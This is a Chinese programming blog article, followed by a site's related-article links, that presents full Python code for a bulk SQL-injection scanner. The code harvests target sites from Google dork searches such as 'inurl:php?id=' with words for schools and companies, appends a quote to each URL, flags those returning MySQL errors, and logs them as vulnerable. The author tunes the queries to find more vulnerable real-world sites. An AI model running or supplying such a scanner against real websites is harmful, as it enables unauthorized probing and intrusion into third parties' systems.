SQL注入漏洞批量扫描器

2024-03-11 21:40

本文主要是介绍SQL注入漏洞批量扫描器,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 概述
    • 1. 调用谷歌进行批量搜索
    • 2. 筛选相关网站链接
    • 3.SQL注入漏洞探测
    • 补充
        • 问题1:访问Google前10页搜索结果。
        • 问题2:异常处理
        • 问题3:扫描效果差
    • 完整代码
        • 扫描Google搜索结果的第一页网站
        • 扫描Google搜索结果的前10页网站
    • 参考



概述

  整体思路:
1.调用Google批量搜索;
2.筛选出相关网站链接;
3.拿到链接后,对单页面进行SQL注入的参数探测
4.输出探测结果。



1. 调用谷歌进行批量搜索

	测试:
# 开启HTTP代理,成功访问代码:print(requests.get("https://www.google.com.hk/search?q=中国").text)
# 成功访问代码:print(requests.get("https://www.google.com.hk/search?q=inurl:php?id= 学校").text)代码,成功返回Google搜索结果:
url = "https://www.google.com.hk/search?q=inurl:php?id= 学校"
res = requests.get(url)
html = res.text

  代理不稳定时,Python可能会报错,再次执行py文件即可:

  requests.exceptions.ProxyError: HTTPSConnectionPool(host=‘www.google.com.hk’, port=443): Max retries exceeded with url: /search?q=inurl:php?id=%20%E5%AD%A6%E6%A0%A1 (Caused by ProxyError(‘Cannot connect to proxy.’, OSError(0, ‘Error’)))



2. 筛选相关网站链接

  查看Google搜索结果网页的前端代码,找到某个相关网站的超链接:

在这里插入图片描述

  使用bs4解析库,发现得到的网站链接格式是/url?q=httpxxx&sa=x&ved=x&usg=x。
依据这个格式把查询到的网站筛选出来,定位http和&进行截取。

在这里插入图片描述

	代码:
soup = BeautifulSoup(html, 'lxml')
tags = soup.select("a")
for tag in tags:href = tag.get("href")if(("http" in href) and ("google" not in href)):url = href[href.find("http"):]url = url[:url.find("&")]   # 得到第一页的10个网站,例如http://www.shenghuaedu.com/about.php%3Fid%3D41,url = urllib.parse.unquote(url)	# python或直接访问会返回404,需要url解码# print(url)SqlPoc(url)


3.SQL注入漏洞探测

	
def SqlPoc(url):res = requests.get(url+"'")if("MySQL" in res.text):print("最后一个get参数存在报错注入:" + url)

  执行效果:
在这里插入图片描述

补充

问题1:访问Google前10页搜索结果。

  Google直接返回的页面是第一页,只有10条记录。访问后,Google会添加一些参数。通过对比前三页的URL地址,发现区别在于start=n*10, 其中n是自然数。

  对第一页网址进行URL解码:https://www.google.com.hk/search?q=inurl:php?id= 学校&newwindow=1&safe=strict&ei=CvlvYNOaJZeKr7wPxMussAM&start=0&sa=N&ved=2ahUKEwjTx8iOyfDvAhUXxYsBHcQlCzY4ChDy0wN6BAgBEDE&biw=1536&bih=750

  对第二页网址进行URL解码:https://www.google.com.hk/search?q=inurl:php?id= 学校&newwindow=1&safe=strict&ei=-vVvYI2qL9LFmAW1zJLYCQ&start=10&sa=N&ved=2ahUKEwiNj-eYxvDvAhXSIqYKHTWmBJsQ8tMDegQIARAy&biw=1536&bih=750

  通过python能否获取当前页面的完整网址?
通过res.响应头找到res.url方法,但得到的是访问的url。

  通过前端代码得到前10页查询结果的网址,因为第1页只显示前10页,或前8页。
根据关键词“start=”来定位,只返回了第二页的链接。复制response到notepad++,
查找"start=0/90",发现确实没有其它页的链接,这跟看到的前端源码不相符。

  解决办法:Google防爬虫技术,为请求头添加User-Agent信息可以解决问题。

	传入Google查询搜索URL地址,筛选出前10页,发现只返回了2-9页的地址。把每页的查询结果传递给Current_Page(),爬取每页的相关网站。
def TenPage(url_query):headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"}res = requests.get(url, headers=headers)html = res.text#print(html)soup = BeautifulSoup(html, 'lxml')tags = soup.select("a")for tag in tags:href = tag.get("href")if(href != None):if("start" in href):Current_Page("https://www.google.com.hk" + href)#print(href)
问题2:异常处理

  测试100个网站,总会有访问错误的情况发生,要想让程序继续执行,必须捕获异常。

def SqlPoc(): # 10页搜索结果count = 0with open("query_site.txt", "r") as f:for each_line in f:url = each_line[:each_line.find("\n")]count = count + 1if(count%10 == 0):print(count)try:res = requests.get(url+"'", timeout=3)	# 等待时间超过3秒即抛弃if ("MySQL" in res.text):print("最后一个get参数存在报错注入:" + url)except:continueprint(count)f.close()
问题3:扫描效果差

  设置等待3秒就放弃访问,捕获异常,然后扫描2-9页只探测到一个网站的漏洞。
不知道是网速或代理的问题,还是SQL报错注入确实比较少。



完整代码

扫描Google搜索结果的第一页网站

  代码执行效果(日本代理速度真快):

在这里插入图片描述

  全部代码:

import requests
import urllib
from bs4 import BeautifulSoupdef Current_Page(url):res = requests.get(url)html = res.text#print(html)soup = BeautifulSoup(html, 'lxml')tags = soup.select("a")for tag in tags:href = tag.get("href")if(("http" in href) and ("google" not in href)):url = href[href.find("http"):]url = url[:url.find("&")]   # 得到10网站,例如http://www.shenghuaedu.com/about.php%3Fid%3D41,python或直接访问会返回404,需要url解码url = urllib.parse.unquote(url)SqlPoc(url)#print(url)#url_list.append(url)def SqlPoc(url):res = requests.get(url + "'")if ("MySQL" in res.text):print("最后一个get参数存在报错注入:" + url)url_query = "https://www.google.com.hk/search?q=inurl:php?id= 学校"
Current_Page(url_query)


扫描Google搜索结果的前10页网站

  查询语法很重要,输入“学校”几乎没有探测到漏洞,输入“企业”就探测到多个站点。

  执行效果:

在这里插入图片描述

  全部代码

import requests
import urllib
from bs4 import BeautifulSoupurl_query = "https://www.google.com.hk/search?q=inurl:php?id= 企业"
google_list = []
site_list = []count = 0def Current_Page(google_list):for url in google_list:res = requests.get(url)html = res.text#print(html)soup = BeautifulSoup(html, 'lxml')tags = soup.select("a")for tag in tags:href = tag.get("href")if(("http" in href) and ("google" not in href)):url = href[href.find("http"):]url = url[:url.find("&")]   # 得到10网站,例如http://www.shenghuaedu.com/about.php%3Fid%3D41,python或直接访问会返回404,需要url解码url = urllib.parse.unquote(url)IsUnique(site_list, url)def SqlPoc(site_list, count): # 10页搜索结果for url in site_list:print("第%d个网站"%count , end="   ")count = count + 1try:res = requests.get(url+"'", timeout=5)if ("MySQL" in res.text):print()print("最后一个get参数存在报错注入:" + url)WriteLeak(url)# else:#     print("不存在报错注入" + url + "     ", end="")except:print("连接异常:" + url, end="   ")def TenPage(url):headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"}res = requests.get(url, headers=headers)html = res.text#print(html)soup = BeautifulSoup(html, 'lxml')tags = soup.select("a")for tag in tags:href = tag.get("href")if(href != None):if("start" in href):# print(href)google_query = "https://www.google.com.hk" + hrefIsUnique(google_list, google_query)def WriteSite(site_list):with open("query_site.txt", "w+") as f:for x in site_list:f.write(x + "\n")f.close()def WriteLeak(url):with open("leak_site.txt", "a+") as f:f.write(url + "\n")f.close()def IsUnique(list1, element):if(element not in list1):list1.append(element)TenPage(url_query)
Current_Page(google_list)
WriteSite(site_list)SqlPoc(site_list,count)
print()
print("查询结果页数量:%d"%(len(google_list)-1))
print("去重后网站数量:%d"%len(site_list))

参考

  《AttributeError: module ‘urllib’ has no attribute 'quote’的解决办法》,2020-02
https://blog.csdn.net/weixin_41597019/article/details/104150737

  《Python:打开文件读取每一行(使用with as)》,2017-08
www.tkvs.ylc.edu.tw

  《python中的程序中断、for循环和while循环》,2019-06
https://blog.csdn.net/weixin_44889616/article/details/93667145

这篇关于SQL注入漏洞批量扫描器的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/799163

相关文章

Linux下MySQL数据库定时备份脚本与Crontab配置教学

《Linux下MySQL数据库定时备份脚本与Crontab配置教学》在生产环境中,数据库是核心资产之一,定期备份数据库可以有效防止意外数据丢失,本文将分享一份MySQL定时备份脚本,并讲解如何通过cr... 目录备份脚本详解脚本功能说明授权与可执行权限使用 Crontab 定时执行编辑 Crontab添加定

使用Python批量将.ncm格式的音频文件转换为.mp3格式的实战详解

《使用Python批量将.ncm格式的音频文件转换为.mp3格式的实战详解》本文详细介绍了如何使用Python通过ncmdump工具批量将.ncm音频转换为.mp3的步骤,包括安装、配置ffmpeg环... 目录1. 前言2. 安装 ncmdump3. 实现 .ncm 转 .mp34. 执行过程5. 执行结

Python实现批量CSV转Excel的高性能处理方案

《Python实现批量CSV转Excel的高性能处理方案》在日常办公中,我们经常需要将CSV格式的数据转换为Excel文件,本文将介绍一个基于Python的高性能解决方案,感兴趣的小伙伴可以跟随小编一... 目录一、场景需求二、技术方案三、核心代码四、批量处理方案五、性能优化六、使用示例完整代码七、小结一、

C#实现一键批量合并PDF文档

《C#实现一键批量合并PDF文档》这篇文章主要为大家详细介绍了如何使用C#实现一键批量合并PDF文档功能,文中的示例代码简洁易懂,感兴趣的小伙伴可以跟随小编一起学习一下... 目录前言效果展示功能实现1、添加文件2、文件分组(书签)3、定义页码范围4、自定义显示5、定义页面尺寸6、PDF批量合并7、其他方法

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

MySQL中On duplicate key update的实现示例

《MySQL中Onduplicatekeyupdate的实现示例》ONDUPLICATEKEYUPDATE是一种MySQL的语法,它在插入新数据时,如果遇到唯一键冲突,则会执行更新操作,而不是抛... 目录1/ ON DUPLICATE KEY UPDATE的简介2/ ON DUPLICATE KEY UP

MySQL分库分表的实践示例

《MySQL分库分表的实践示例》MySQL分库分表适用于数据量大或并发压力高的场景,核心技术包括水平/垂直分片和分库,需应对分布式事务、跨库查询等挑战,通过中间件和解决方案实现,最佳实践为合理策略、备... 目录一、分库分表的触发条件1.1 数据量阈值1.2 并发压力二、分库分表的核心技术模块2.1 水平分

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

Python与MySQL实现数据库实时同步的详细步骤

《Python与MySQL实现数据库实时同步的详细步骤》在日常开发中,数据同步是一项常见的需求,本篇文章将使用Python和MySQL来实现数据库实时同步,我们将围绕数据变更捕获、数据处理和数据写入这... 目录前言摘要概述:数据同步方案1. 基本思路2. mysql Binlog 简介实现步骤与代码示例1